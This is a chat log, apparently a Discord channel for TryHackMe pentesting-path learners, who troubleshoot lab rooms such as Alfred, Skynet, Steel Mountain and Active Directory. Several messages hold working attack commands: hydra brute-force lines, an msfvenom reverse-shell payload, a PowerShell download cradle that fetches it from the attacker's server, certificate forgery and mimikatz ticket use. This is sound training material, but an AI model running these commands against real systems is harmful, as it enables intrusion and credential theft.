bold heart
#

got it

#

thanks @keen iris

desert topazBOT
#

Gave +1 Rep to @keen iris

pastel dirge
#

hello jedis

#

I am here forever!!

lilac blade
languid shale
#

If I complete thus path and the pentest+ preparation exam, will I know enough to pass the exam?

odd stone
#

hi guys i am having a problem in brainstorm room for bufferoverflow

#

i have tested the chatserver.exe and the script run perfect on local ip and i get a shell
when i change the script to my target machine ip i dont get a shell very weird any suggestion? i tried to restart the machine 2 times and still same

#

nvm worked it was the openvpn problem!! thank you guys

vernal sluice
languid shale
vernal sluice
steady scroll
#

Having an issue with hydra in Skynet room. No matter what I set the failed login response to my results are all valid.

#

The log1.txt file has the correct password for milesdyson email account.

odd stone
#

this room u dont need hydra it dosent work u need this
searchsploit -m php/webapps/25971.txt

karmic cairn
#

anyone come across this problem. I think it is server side, but im not certain.

#

┌──(root㉿kali)-[/home/leigh/Downloads]
└─# telnet 10.10.129.25 3389
Trying 10.10.129.25...
telnet: Unable to connect to remote host: Connection timed out

┌──(root㉿kali)-[/home/leigh/Downloads]
└─# xfreerdp /u:admin /p:password /cert:ignore /v:10.10.129.25 /workarea
[11:02:45:378] [96039:96040] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]
[11:02:45:379] [96039:96040] [ERROR][com.freerdp.core] - failed to connect to 10.10.129.25

untold holly
karmic cairn
#

It’s all good now, I found some code that fixed the issue

#

: sed -i 's/cipher AES-256-CBC/data-ciphers AES-256-CBC/' *.ovpn

untold holly
karmic cairn
#

Yeah, thanks, so all good. I didn’t realise it was that initially, just the ovpn being wrong, till I actually read what was happening

steady scroll
odd stone
grizzled flare
#

c

steady scroll
#

Hydra -l milesdyson -P log1.txt 10.10.37.39 http-post-form "/squirrelmail/src/login.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:ERROR Unknown user or password incorrect."

#

Acts like failed login response is incorrect. Shows entire wordlist as valid password.

maiden stone
#

Anyone having issues try to ssh to THMJMP1 in Breaching Active Directory room? I can’t even ping the host and I’m using THM attackBox

vernal sluice
odd stone
#

i have problem in room Persisting Active Directory

Task 4 Persistence through Certificates

when i put the code the terminal freeze i think there is a bug i tried it many times and i reset everything

C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123

odd stone
# steady scroll I used burpsuite to breach the login screen. Hydra wasn't working for me like no...

└─# hydra -l milesdyson -P '/root/logs1.txt' 10.10.138.78 http-post-form "/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect."
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-24 12:12:33
[DATA] max 16 tasks per 1 server, overall 16 tasks, 31 login tries (l:1/p:31), ~2 tries per task
[DATA] attacking http-post-form://10.10.138.78:80/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect.
[80][http-post-form] host: 10.10.138.78 login: milesdyson password: cyborg007haloterminator
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-01-24 12:12:37

host: 10.10.138.78 login: milesdyson password: cyborg007haloterminator
http://10.10.138.78/squirrelmail

odd stone
maiden stone
odd stone
#

and after try to nslookup and ping ur host

finite pivot
#

If you restart the network manager, you'll need to update the nameserve.

odd stone
#

he have to put it manual since his doing the ad room

timber badge
#

I have a question about relevant room the victim os is windows 2016 why eternal blue is not working? I know it is not the solution of this machine but i want to know the reason

unborn siren
desert topazBOT
#

Gave +1 Rep to @odd stone

unborn siren
lilac blade
#

Anyone tried 'Internal' lately?

#

internal.thm/ isn't loading

#

I did open a ticket, thought I'd ask here too

somber snow
#

anyone know why my nessus scan isn't getting results? I installed Nessus on my kali linux VM and ran a scan targeting the TryHackMe machine, and nothing is outputted.

lilac blade
#

😮 let me try that

#

Um I've entered the IP address, not the words internal.thm

#

It resolves to internal.thm and throws an error

#

I'll try and report back 🫡

atomic torrent
fleet wedge
# atomic torrent Did you figure it out? I'm having the same problem (Nessus room - https://tryhac...

make sure you guys are connected to the tryhackme vpn, try ping 10.10.10.10 or use ip addr and check tun0, it must be the same ip address shown on the tryhackme page if you are connected
remember to start the nessusd.service using sudo systemctl start nessusd.service and on your browser, go to https://127.0.0.1:8834 (127.0.0.1 is the loopback ip and 8834 is the default nessus port)
and on the target you must add the target ip address, but first, ping it to see if you can communicate with it
if the target machine ip isn't responding, try restarting it
if it is still not working regenerate your .ovpn file or switch server
also, check if your firewall is blocking the connections (linux default firewall [ufw] configuration is to deny all incoming connections and allow all outgoing connections, check the status with sudo ufw status, you can allow or deny using sudo ufw allow/deny port/protocol
as example, when i was trying to send linpeas.sh (a privilege escalation bash script) to the target machine using python http.server:
i needed to allow the connections on port 80 using the tcp protocol: sudo ufw allow 80/tcp

radiant plaza
#

Is there an issue with the Alfredo box? The last meterpreter shell just won't pop up

autumn tiger
cosmic orchid
#

Just lost an hour and a half cause my PowerUp.ps1 wasn't working on the Steel Mountain machine. I've uploaded the file correctly but instead of typing . .\PowerUp.ps1(there's a space between the dots), I was typing without the spaces. Just posting here if someone have the same problem in the future when trying to run Invoke-AllChecks

atomic torrent
desert topazBOT
#

Gave +1 Rep to @ornate crow

dusty jackal
#

anyone did gatekeeper recently

#

?

#

i'm trying to crash the app but every script i use is not working

#

i'm thinking its the windows setup i'm using... using windows 11

#

windows 8 not starting the application

#

anyone got link to download windows 7 or lower?

umbral fjord
vernal mason
#

yuups

umbral fjord
#

I am stuck on oscp.exe - OVERFLOW1

#

I already got the flags, no problem with that. Just when I am injecting the payload in executable it crashes

#

I believe it might be something to do with stack padding

vernal mason
#

uuuum well not sure there

#

most of them shadow skipped making them run a shell

#

and just got the flags

#

not sure what the issue is if you are trying to get a shell but don't

#

might be because the pointer that you overwrite needs to be in reverse order in your exploit script

#

i.e big edian vs small edian

umbral fjord
#

I followed the program flow and the jump is alright. When I jump everything is ok, but then my code has "fstenv" line that breaks everything

vernal mason
#

maybe try add some padding i.e nop bytes before your shell code in the exploit script

umbral fjord
#

I jump to the Stack Pointer and the Stack is all filled up with my code, but right after the "fstenv" everything breaks up and the stack get messed

vernal mason
#

very hard to figure out what is going wrong so shadow is just guessing and trying to help

umbral fjord
#

yep, I know

#

I've already done some buff overflows and never had this problem

vernal mason
#

at least you can finish the room ¯_(ツ)_/¯

umbral fjord
#

lol, yep

#

this is right after the jump and after bypassing the NOPs for padding

#

and this is the code already broken

#

sry, the resolution is a crap

stark bay
#

is this path aka the oscp learning path within thm?

umbral fjord
stark bay
north bison
#

Hi everyone, i am stuck at the Content discovery Task 2 - robots. The machine won’t open after opening AttackBox . I did wait for 5 minutes before clicking on it.

thin magnet
#

Hello everyone, I'm stuck at steel mountain privilege escalation, the script is not working on the target system, what could be the problem?

frank troutBOT
thin magnet
#

! docs verify

#

!docs verify

frank troutBOT
thin magnet
#

These are the pictures

#

I'm trying to get the "Power Up. ps1 to load but it's coming up with errors

thin magnet
#

How do i get the script instead of the html page?

#

I used 'wget <link>'

thin magnet
#

I've got it! thank you so much @hidden shoal

desert topazBOT
#

Gave +1 Rep to @hidden shoal

north bison
#

Hi everyone, not sure if i am in the right room. i am stuck at the Content discovery Task 2 - robots. The machine won’t open after opening AttackBox . I did wait for 5 minutes before clicking on it.

jolly anchor
#

I'm working my way through Internal right now, I have access to Jenkins and can run commands but none of the reverse shells I'm using are working. I can ping both the THM machine and myself but for some reason the shells aren't connecting. Am I on the right path? Do I even need a shell in Jenkins?

#

I've tried metasploit web delivery with bash and python and the common bash reverse shell. I found it though, didn't actually need the shell. Not a big fan of this CTF either, I spent a lot of time enumerating and trying things when the answer was actually just too easy

torn jewel
#

Hey everyone, I'm doing the Kenobi room, the second question of task 1 is how many ports are open, it seems like the answer is set to accept only one digit, but my nmap report says there are 11 ports open, any idea of why this is happening?

thin magnet
thin magnet
#

Please, I'm stuck here, Steel Mountain privilege escalation. The problem is that the listener isn't picking the payload for the ASCService. exe, what can I do?

near basin
#

hey guys, has anybody had issues with the alfred CTF on the offensive pt path? the machine seems to be down 15 minutes after starting it. I'm definitely connected via VPN, so what gives?

#

never mind, figured out the issue 🙂

sage python
#

Hi guys, do anyone getting difficulties in this path, I hope i am not the only one 😔

undone flint
#

To make this easier to find: Alfred meterpreter session is not valid
Hey I'm having significant issues with the Alfred CTF, my meterpreter sessions keeps dying nearly instantly, here's what I've tried so far:

(This is based on a walkthrough, which also did not work)

LHOST (=tun0)=10.10.212.70
RHOST=10.10.41.133

create payload using:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai EXITFUNC=process LHOST=10.10.212.70 LPORT=9001 -f exe -o revshell9001exit.exe

serve payload using: python3 -m http.server 8000

And executing the following through the Jenkins web app:

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.212.70:8000/revshell9001exit.exe','revshell9001exit.exe')"

Following this, I set up the exploit/multi/handler using

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.212.70
set LPORT 9001
run

Then I start my reverse shell process through the jenkins web app using:

powershell Start-Process revshell9001exit.exe

However this leads to the following output (see screenshot):

#

I cant post screenshots, hence I'm including the output as code:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.212.70:9001 
[*] Sending stage (175686 bytes) to 10.10.4.133
[-] Meterpreter session 1 is not valid and will be closed
[*] 10.10.4.133 - Meterpreter session 1 closed.

#

I'm likely missing something dumb here, though I've seen earlier reports of users' meterpreter sessions not connecting properly, though the workarounds for that dont work for me :(

#

edit: I got the web_delivery method working, although I'm still interested in why the above method did not work :(

elfin mica
tame ivy
odd stone
subtle shell
#

Need some help if possible please. I am currently doing the Internal Pentesting Challenge, and I am at the stage of trying to brute force the jenkins login. My problem I am running into is the socket you have to set up to access the site runs on port 8080 so when i attempt to catch the page in Burp or Zap it does not work. I have tried changing the proxy port of Burp and Zap to a different port however I get the issue in the image.

finite pivot
#

@covert scarab

proud siloBOT
#

:hammer: Blacko#4775 has been banned.

unique zealot
#

after slacking for a few months I got back in the mood and finished the jr-pentester path, I'll probably go with the offensive pentesting path next, but what are the differences with the red teaming path? For what are both paths? What do they prepare you more, what is their difference in focus and goals for choosing either?

tame ivy
tame ivy
#

Also, I'm using burpsuite intruder against a the 'Skynet' box. I believe I'm getting rate-limited after 8 tries cause everything is timing out. Is this a Burp restriction or THM's?

thin magnet
#

@proud silo under steel mountain challenge, under the access and Escalation without Metasploit, the CVE script keeps saying there is an error? any solution to this?

finite pivot
undone flint
thin magnet
desert topazBOT
#

Gave +1 Rep to @finite pivot

thin magnet
sage python
#

guys, i really stuck how to connect active directory network i setup the dns server and it didn't resolve THMDC.local anyone help!

sage python
sage python
#

breaching active directory

finite pivot
#

Are you in the attackbox or VM

sage python
eternal timber
#

im solving the hackpark room
i also got the passwords via hydra but none of them are working

keen iris
eternal timber
#

i got it there was some problem in the query

#

but now i have another problem i have uploaded the exploit , when im trying to access the url given in exploit im getting this

eternal timber
#

anyone?

eternal timber
#

still here?

fleet wedge
#

@eternal timber pm me and I’ll help you, I was having a similar issue

tame ether
#

I was working in "Exploiting Active Directory" room and lots access suddenly. Tried with VPN, AttackBox and Kali after that but no communication with 10.200.60.0 network. Can someone please reset the room? Need only one vote.

#

Can not ping DC or any other machine from AttackBox

vernal mason
desert topazBOT
#

Gave +1 Rep to @vernal mason

tame ether
#

Can anyone please help, getting this error "mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

  • File: 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': ERROR kuhl_m_kerberos_ptt_file ; kull_m_file_readData (0x00000002)
#

While importing TGS tickets using mimikatz

#

This is for "Exploiting Kerberos Delegation" room

#

I am login with T2 Admin (t2_lawrence.lewis)

slow hemlock
#

Buffer Overflow Prep, task #2,

Run the following command to generate a cyclic pattern of a length 400 bytes longer that the string that crashed the server (change the -l value to this):

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600

Except there is no "metasploit-framework/tools/exploit/pattern_create.rb -l 600" in /usr/share

The writeups say to use

msf-pattern_create -l 2400

but that command cannot be found

What am I missing?

I can be reached here: bigdeal@w01fguard.com

drowsy zinc
#

hi, i have a problem in Steel Mountain room: at the last question of the second task, i have to copy paste the flag user.txt. The problem is when i type "cat user.txt" in the meterpreter console, it show the file content but there is two uncorrect caracters. When i copy paste to thm, it look like " \ufffd\ufffd ...". I see with Google it's a problem with unicode. Someone can help me because i am stuck at this step

keen iris
drowsy zinc
#

ok thx

fleet wedge
#

If I start the AttackBox from the room Breaching Active Directory then it's supposed to connect me to the AD network automatically but it's not doing that, what am I missing?

fleet wedge
indigo ember
floral needle
#

Any guess why this is showing this error Its OffensivePentesting SteelMountain Room without metasploit cve-2014-6287.py , I started python http server to serve nc.exe and than modified code with lhost and port set and nc listener in attacker machine when i ran this .py file it showed me this error.

fleet wedge
# indigo ember did you run the DNS setup command?

It's not that, I don't even have that interface, someone recommended stopping the AttackBox, leaving the room, coming back to the room, and starting the AttackBox again... we'll see if it helps, I hope so tho lol

indigo ember
#

it doesn't show a breachad interface when you check the ipconfig? 🤔 yeah I'd try restarting the attackbox and hope that works. I've just double checked from my attackbox and it was working fine 🤞

covert quest
#

grumbles about #hackpark PostView exploit not working.

#

And suddenly, there it is x'D

pulsar depot
#

I try to get my kali VM connected to the breached AD network. But open vpn just gives me this error message : Error: problem with tun vs. tap setting. Anyone know what to do?

finite pivot
desert topazBOT
#

Gave +1 Rep to @finite pivot

slow plover
#

hi

#

friends I downloaded network openvpn in AD room but it doesn't work on my physical machine .ovpn does anyone else have problems with this? is there a solution?

lavish trail
#

If you want you can DM me and we can try to solve it. 😊

slow plover
#

I sent you the problem privately, I couldn't solve it, I wonder if it's caused by your system, really.

lavish trail
#

Responding you here also, to state out publicly that I am not staff, but a subscribed user / customer on THM. I do not mean to implicate being a staff person in any way. Apologies also here for neglecting to mention that I am only a regular user. :)

slow plover
#

@lavish trail çözdük kanka problemi burası güzel aktif kullancam bundan sonra

pulsar depot
dense gate
thorny wolf
#

i see how it is @dense gate , steal that valor while I'm at work 🙂

dense gate
pulsar depot
#

I am on Task4 in Breaching AD. When i set up my rogue ldap server it dosen't give me the option to choose MDB for my database. Also I follow all the steps and when i check my if my rogue LDAP server's configuration has been applied, i just get: dn:

pulsar depot
#

Nevermind I got the password. I just can't read NotLikeThis

vernal depot
#

Hey guys i´m doing Hackpark rn got meterpreter session and try to enumerate the system with winpeas. Is it normal that it sometimes hangs for half a minute or so?

lost quiver
#

Good evening

glacial magnet
#

guys anyone know how to make burpsuite catch the request of localhost
issue in internal room jenkins service

#

i changed the :
about:config
network.proxy_hijack..... to True
but its still not working

covert quest
#

Ugh, too sleepy for buffer overflow techniques. falls asleep

obtuse pawn
#

its not in pwk anymore sadly

keen iris
obtuse pawn
#

they removed it from the exam if im not mistaken

keen iris
obtuse pawn
#

its also removed from the course

fleet wedge
#

I'm probably really late to the party, anyone else having issues with Retro? The intended path isn't working as expected ||I'm talking about CVE-2019–1388, and using the hhupd.exe in the recycle bin|| I know this isn't the only path, but it's the most obvious one.

Eventually I managed to find another way, but I was wondering if anyone else ran into issues with ||trying to get into IE and saving the file to be able to launch it in cmd, I couldn't even get IE to show up as an application|| anyway, just putting that out there.

On another note ||I learned how to use Juicy Potato properly, I've been meaning to look into that, just didn't have the chance yet||

silent fossil
#

hey guys
anybody else got this problem before?
I've conclued these topics, but it's look like I'm still need to finish something...

#

it's not possible to share print here 🥲

#

this one

#

when I come back to the dash, "vulnversity" is not completed yet

fleet wedge
desert topazBOT
#

Gave +1 Rep to @novel moon

pulsar depot
#

In Enumerating AD Task2 How do I start MS SQL Studio from that command prompt?

fleet wedge
#

anyone can help me in vulnversity room?

#

I din't find the answer in the last question

lavish trail
#

You can list all the SUID files and then look at GTFOBins if there is a binary amongst the found ones which can be abused. :)

drowsy zinc
#

i have a bug i think

#

i have complete vulnversity a few weeks ago, but today it's not terminated

#

but i have all the answers

dense mist
drowsy zinc
#

thx

teal coyote
dense mist
teal coyote
#

Thanks a lot 👍🏻

wraith ether
#

Aside from the Offensive training paths are there some other rooms which you guys might recommend as practice for the OSCP certification? I'd like to go through a bunch before the exam

raven tendon
#

Hey everyone, does someone know, why it doesn't in Steel Mountain it doesn't connect to my nc listener?

#

it downloads nc.exe, but when I run it a second time, it doesn't connect to my listener. I've tried it with both port 4444 and 443

tacit perch
#

Is it a binary file? Try to discovery the number port using the Radare2 or gdb.
It's probably the port isn't correct

raven tendon
#

yes, ncat.exe is a binary file and the link to it was provided by author. Never worked with binary files before or used the tools you mentioned, but I'll try to figure it out! Thanks for the input !

keen iris
raven tendon
undone flint
raven tendon
desert topazBOT
#

Gave +1 Rep to @undone flint

deep totem
fleet wedge
deep totem
rustic oxide
#

is the learning path valuable if we want to pass the OSCP ?

#

Or not valuable enough and it's better to work on OSCP course only ?

fleet wedge
desert topazBOT
#

Gave +1 Rep to @novel moon

indigo ember
fleet wedge
indigo ember
#

may you one day use your buffer skills out in the real world and feel vindicated

brave wyvern
#

Can someone help me?!
I stuck at Lateral Movement room in Task5
I used mimikatz to take users NTLM hash.
According to first screenshot from website I should receive shell, I receive, But There is no flag.exe on desktop to finish Task 5

raven tendon
#

I have a rather embarrassing question: I'm doing Skynet right now now and I got the Password, which I want to use to log into the SMB client, but I simply can't type in the characters ^ and ` in my Linux machine. I've been trying all kinds of things for more than an hour and feel like I'm wasting so much time...

#

I've also tried pasting it, when it asks for the PW, but that doesn't seem to work too

#

Btw, I've got a german Keyboard

dense mist
#

Have you tried ctrl+shift+v for pasting

raven tendon
#

Hi @dense mist , that's right, the characters are there, and I can type them here without problems ^^ ``, but on the VM it simply doesn't work and I can't paste the password with ctrl+shift+v, because it doesn't accept it when pasting it :/

dense mist
#

Does the VM perhaps use a different layout?

raven tendon
#

I also changed the keyboard settings on the linux machine to fit my layout

dense mist
#

Ah okay, that answers that

raven tendon
#

Super confusing...

dense mist
#

Does it paste it into the command line at all or it doesn't work no matter what?

#

Cause if it lets you do that, you could specify it in the command -U=user%password

raven tendon
#

I actually tried to use "smbget" instead of logging in, and there it let me paste the password. So I've got the files now. Still super weird why it doesn't let me type those characters...

stark bay
stark bay
little fulcrum
#

hello everyone i'm doing the hack park module i have to force the login of the website with hydra but my command doesn't work if someone can explain me what's wrong

restive dock
# raven tendon

I had the same issue but on another language, what finally got it working was using keyboard model Macbook/Macbook Pro as keyboard model, then language(macintosh) as layout. Im using Kali inside parallels desktop on Mac

desert topazBOT
#

Gave +1 Rep to @restive dock

drowsy zinc
#

hi, can someone tell me what is the os in the video on Hack park room ?

drowsy zinc
#

ok, he have custom kali

dense mist
drowsy zinc
#

he just have a beautiful kali, not like mine

fading light
#

What path should I pursue next the Red Teaming or Offensive pentest? I just finshed the JR pentest

stray pebble
#

After offensive then the red teaming

stark bay
#

For Task6 of Hacking with Powershell, the question asks: "How many open ports did you find between 130 and 140(inclusive of those two)?" Based on my script, it would seem to me as though the answer would be 1 since only port 135 has a TCP Connection Succeed True. However, the answer is 11, which appears to be because 11 ports inclusive of both 130 and 140 (i.e. 11 ports are 130,131,132,133,134,135,136,137,138,139,140). I don't understand why all of these ports are considered "open." Are they "open" just because PingSucceeded is True even though for all of them except port 135, TCPTestSucceeded is False?

torpid dome
#

i am at the Overpass2hacked room, and tried to answer the question "Using the fasttrack wordlist, how many of the system passwords were crackable?". i used john and the wordlist mentiond but i only find 2 passwords. apperently the correct answer is 4. is also checked some writeups bud i do not find what i am doing wrong. anybody has an idea?

drowsy zinc
#

hi i have a problem in HackPark room: i have generate an exec with msfvenom to do a reverse shell. I have already download it in the windows machine, and set my listener in metasploit

#

but when i run my exe file in windows machine, it works, but my listener show an error:
[] Started reverse TCP handler on 10.10.204.106:9999
[
] Sending stage (175686 bytes) to 10.10.59.112
[-] Meterpreter session 1 is not valid and will be closed
[*] 10.10.59.112 - Meterpreter session 1 closed.

#

and if i retry, its always the same problem

#

someone can help me ?

lavish trail
#

@drowsy zinc Have you (double) checked that the payload certainly is of same type as the generated exec has? :)

drowsy zinc
#

i have create a shell with this command: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe

#

and i have replace lhost and lport by my ip and 9999

#

on other room, it's always work 🤷‍♂️

lavish trail
#

Seems, that you are not using Meterprete ras payload, though it is configured for listener. If I look at this correctly.

drowsy zinc
#

i think it's okay, but im not sure

lavish trail
#

The payload you used to generate the executable ( windows/x64/shell_reverse_tcp isn't same as Meterpreter which you have told the listener that the payload is. ( I'm tired but 95% confident that it is not). :)

drowsy zinc
#

oh ok

#

so i have to create another exe file with msfvenom ?

#

or change the payload in msfconsole ?

lavish trail
#

Well, here you have two options:

  1. If you're happy with a basic reverse shell ( which is not Meterpreter), you can "let the listerner know" that you're using payload windows/x64/shell_reverse_tcp -> That way the listener will catch the arriving shell and treat it correctly (not trying to force the Meterpreter main payload through the connection).

  2. Other way, you can generate a new exe file using a payload that matches the listener.

If you really want Meterpreter, go with option 2. If you're comfortable with a trad reverse shell, go with option 1. :)

drowsy zinc
#

ok thx (sorry for my bad english, im french 😅 )

lavish trail
#

You're welcome, do say if you can't get it working. And to me your english seems fine! :) Magnifique!

drowsy zinc
#

thx

lavish trail
#

@drowsy zinc Sure, happy to help. :)

stray pebble
#

Am doing the relevant task now. After scanning with nmap, port 49663 doesn’t show up in my scans. Am only just finding out after reading walkthroughs. Anyone experienced this???

lofty sky
stray pebble
lofty sky
#

That's odd. It should have been captured. Did you try to run your scan again to see if it will be captured?

vernal mason
#

sometimes ports take time to open because of the service on said port is slow starting

lofty sky
#

Sorry I meant again

stray pebble
vernal mason
#

try restaring the target machine and wait 15 mins for it to start fully

#

then rescan the new machine

stray pebble
#

Will try that again

vernal mason
#

anyways a -p- port scan with nmap will take a while as there is after all 65 000+ ports

stray pebble
#

Sometimes 1000 secs

fleet wedge
#

For scanning all the tcp ports, try using rustscan. Doesn't take more than 1-2 mins to find everything open. Service and script scans after that take longer.

vernal mason
#

sigh rustscan is not needed if you use the right nmap options

stray pebble
#

my silly mistake was not running the scan with root privilege. i just tried sudo nmap ....... and boom it popped up.

stray pebble
desert topazBOT
#

Gave +1 Rep to @vernal mason

vernal mason
#

rustscan is basically just increasing the min rate and some other smaller options to scan faster

stray pebble
#

Been having sleepless night cos of this buffer overflow room

#

Can’t get mona.py to work on my windows with immunity debugger

#

I already have mona in the pycommands folder and when I try typing mona command it say pycommands: error importing module

#

Any help will be appreciated

stark bay
#

For the Mr Robot box (extra credit section of Offensive Pentesting learning path), the Hydra seems to be a bit of a mess to get through. using it first to get username and then once username locked, it seems to not really give password using the fsocity.dic as a list

stark bay
# stark bay For the Mr Robot box (extra credit section of Offensive Pentesting learning path...

It looks like I am not the only one having this issue of it taking ridiculously long. I have what I think is the same as what they use in the walkthrough and still a 75hr wait for the password. I decided to just use the password result told to us in the walkthrough and solve the rest of the box because 75 hours (if it was going to take that long, unless I'm doing something completely wrong) seems like it's not going to work too well lol

stark bay
stray pebble
#

Am trying to copy the ma.db file in task 7 of the breaching AD and am getting this error after using the password. Don’t know what am doing wrong

vernal mason
#

you probably just have to go into vulnveristy and answer a single unanswered question if the fix is anything to think about

knotty dew
#

Thank you buddy

zinc belfry
#

Hi, Does Offensive Path still valid if you are preparing for OSCP? Cause they have removed Buffer OVerflow from the exam?

keen iris
zinc belfry
vernal mason
#

also does not mean that knowledge of buffer overflows has no use anymore

daring shuttle
#

Hi guys and ladies. Going thru Vulnversity tasks of path and found strange answer to the question on task "Locating directories using Gobuster". The answer is || internal || but seems it's impossible to determine from Gobuster output. I rather think that answer should be || server-status || regarding to the different status code of answer. Can someone explain why the correct answer was like that?

silk vale
#

It’s like finding a directory called “secret” but a bit let obvious

#

Of course a server status page could also have some interesting vulnerabilities especially regarding logs or command injection, it just happened to not be the case in this example and the internal path looks like a low hanging fruit

daring shuttle
silk vale
#

Gobuster itself would not answer such a question for you, it just gives you some websites you can manually browse and check out

daring shuttle
#

Thank you

vale gazelle
#

What is the problem with this?

#

Invoke-AllChecks isn't working

#

Can someone explain?

silk vale
#

you didn't use the previous command correctly

silk vale
#

using "." for that is not very intuitive if you ask me, but oh well

desert topazBOT
#

Gave +1 Rep to @silk vale

livid dragon
#

any of yalls use Evil-WinRM often?

finite pivot
#

Yup

livid dragon
#

How exactly do you download/upload with this thing? I've been trying to use the commands and I'm not sure where in the hell the files get downloaded or uploaded

#

Providing absolute paths and nothing happens

#

Just wondering if there's some hidden default directory for that

livid dragon
#

wondering so i don't make that mistake

livid dragon
#

man does EvilWinRM not show that

daring shuttle
#

Hi guys and ladies. Going thru Vulnversity still just finished task about compromising server. Strange part is what I got 200 OK from server disregarding extension of shell I'd like to payload. Maybe it's ok not so bad anyway but where's more of strange things. The most strange thing is that path to uploaded file provided in the task. It doesn't seem like close to the real world. So how can I guess file location where shell will be loaded and can be accessed?

indigo ember
# daring shuttle Hi guys and ladies. Going thru Vulnversity still just finished task about compro...

I think you'd have to hope to find the right folder doing recon by using tools like ffuf, gobuster, etc. to look for what folders and files are accessible. I had the same thought after I did it, and I managed to find the uploads folder location using a dirb scan ( dirb http://IP:port /usr/share/wordlists/dirb/big.txt -R) and setting the -R recursive flag so that when it finds a directory it then checks to for subdirectories as well.

daring shuttle
indigo ember
daring shuttle
indigo ember
daring shuttle
#

Thank you @indigo ember

desert topazBOT
#

Gave +1 Rep to @indigo ember

drowsy zinc
#

hi, i need help for skynet room for the second question: What is the hidden directory ? I have run gobuster and i've find /squirrelmail, but it's not the good answer. Can someone tell me why ?

#

ok, i have find the answer, sorry for disturb

daring shuttle
#

Hi guys and ladies.
Seems I found useless step in Blue room. It was proposed to change shell to Meterpreter after using exploit but in fact default shell for Eternalblue is Meterpreter now. So we have useless step in this room.

oak frigate
#

Hi, i have a question, i am doing linux priv esc path. i am in nfs section. I got the idea and logic. i can mount the nfs on attacker machine, write a c code and build that run bash with root priv. But can i write a bash script to priv esc too? it doesnt work with root priv when i try. I have tried writing sudoers files to karen username or copying bash binary and giving it suid.

#

is there an example poc priiv esc for nfs section which written with bash script, now compiled c code of msfvenom

keen iris
oak frigate
desert topazBOT
#

Gave +1 Rep to @keen iris

covert bramble
#

Hi, quick question, during kenobi box i got this error when i try to mount the point :

mount <box_ip>:/var /mnt/kenobiNFS
mount.nfs: access denied by server while mounting <box_ip>:/var

does everyone already got this message ? Did i miss a step ?

idk if its usefull but :
This command is send form a wsl-kali (my vpn is connected in my windows machine with a proxyport).

ruby rover
#

use sudo

covert bramble
#

already try...

zinc belfry
#

Hi, I am doing the Alfred box. So, instead of using Metasploit I am doing the privilege escalation using the methods taught in Junior path.

Current user have SeImpersonatePrivilege Impersonate a client after authentication Enabled but now when I use RogueWinRM.exe it is giving an error any idea what I am doing wrong?

This is the output

C:\Users\bruce>.\RogueWinRM.exe -p C:\Users\bruce\nc64.exe -a "IP 4444 -e cmd.exe"
               .\RogueWinRM.exe -p C:\Users\bruce\nc64.exe -a "IP 4444 -e cmd.exe"
.\RogueWinRM.exe -p C:\Users\bruce\nc64.exe -a "IP 4444 -e cmd.exe"

Listening for connection on port 5985 .... 

BITS triggered!

Error: No Authenticaton received... negotiator->authResult != -1
daring shuttle
#

Hi guys and ladies. Is there someone who can explain this?

indigo ember
zinc belfry
#

Hi, could anyone help me on this

So in "Windows Privilege" (Jr. Path Room) section "Abusing Service Misconfigurations > Insecure Permissions on Service Executable" to get a shell we are told to use the command

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

This will create a service executable to get a shell.

Now I am doing the "hackPark" room which has the same vulnerability for Priv Escalation but when I use the above command I did not get the shell and had to change "-f exe-service" to "-f exe" What difference does this make?(like I know one is service executable and other is standard exe) Cause our .exe will be executed by the Admin anyway so what difference do both these options make?

proper otter
#

I'm in the Breaching Active Directory Room (https://tryhackme.com/room/breachingad), and on the left it says "3 days of access left". Does this mean that the room will disappear from the Offensive Pentesting path soon?

dense mist
desert topazBOT
#

Gave +1 Rep to @dense mist

dense mist
#

you're welcome 🙂

drowsy zinc
#

hi, i'm in daily bugle room, i search how can i find the version of joomla but i don't found, i have try to look at the source code, get a request with burp to see if i can see something

#

someone can help me pls ?

#

i don't want to see a video or something to show me the answer, just help me so i can be in the good direction

daring shuttle
#

Hello guys and ladies.
Is there a guidance how to choose Metasploit/Msfvenom payloads? I mean for example it was about few hundred of reverse_tcp payloads in both so which one should I choose? All the time in rooms we choose Windows or Linux reverse_tcp with regards to architecture but there are a lot more. When should I use them?

willow mauve
# daring shuttle Hello guys and ladies. Is there a guidance how to choose Metasploit/Msfvenom pay...

This will help: https://www.revshells.com/
Or the kali's builtin msf payload creator : msfpc
Make sure to understand the difference between **staged **and **stageless **payload,
and the difference between meterpreter and normal tcp reverse shell

Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.

willow mauve
#

This is the part of my writeup from jr Path room

zinc belfry
desert topazBOT
#

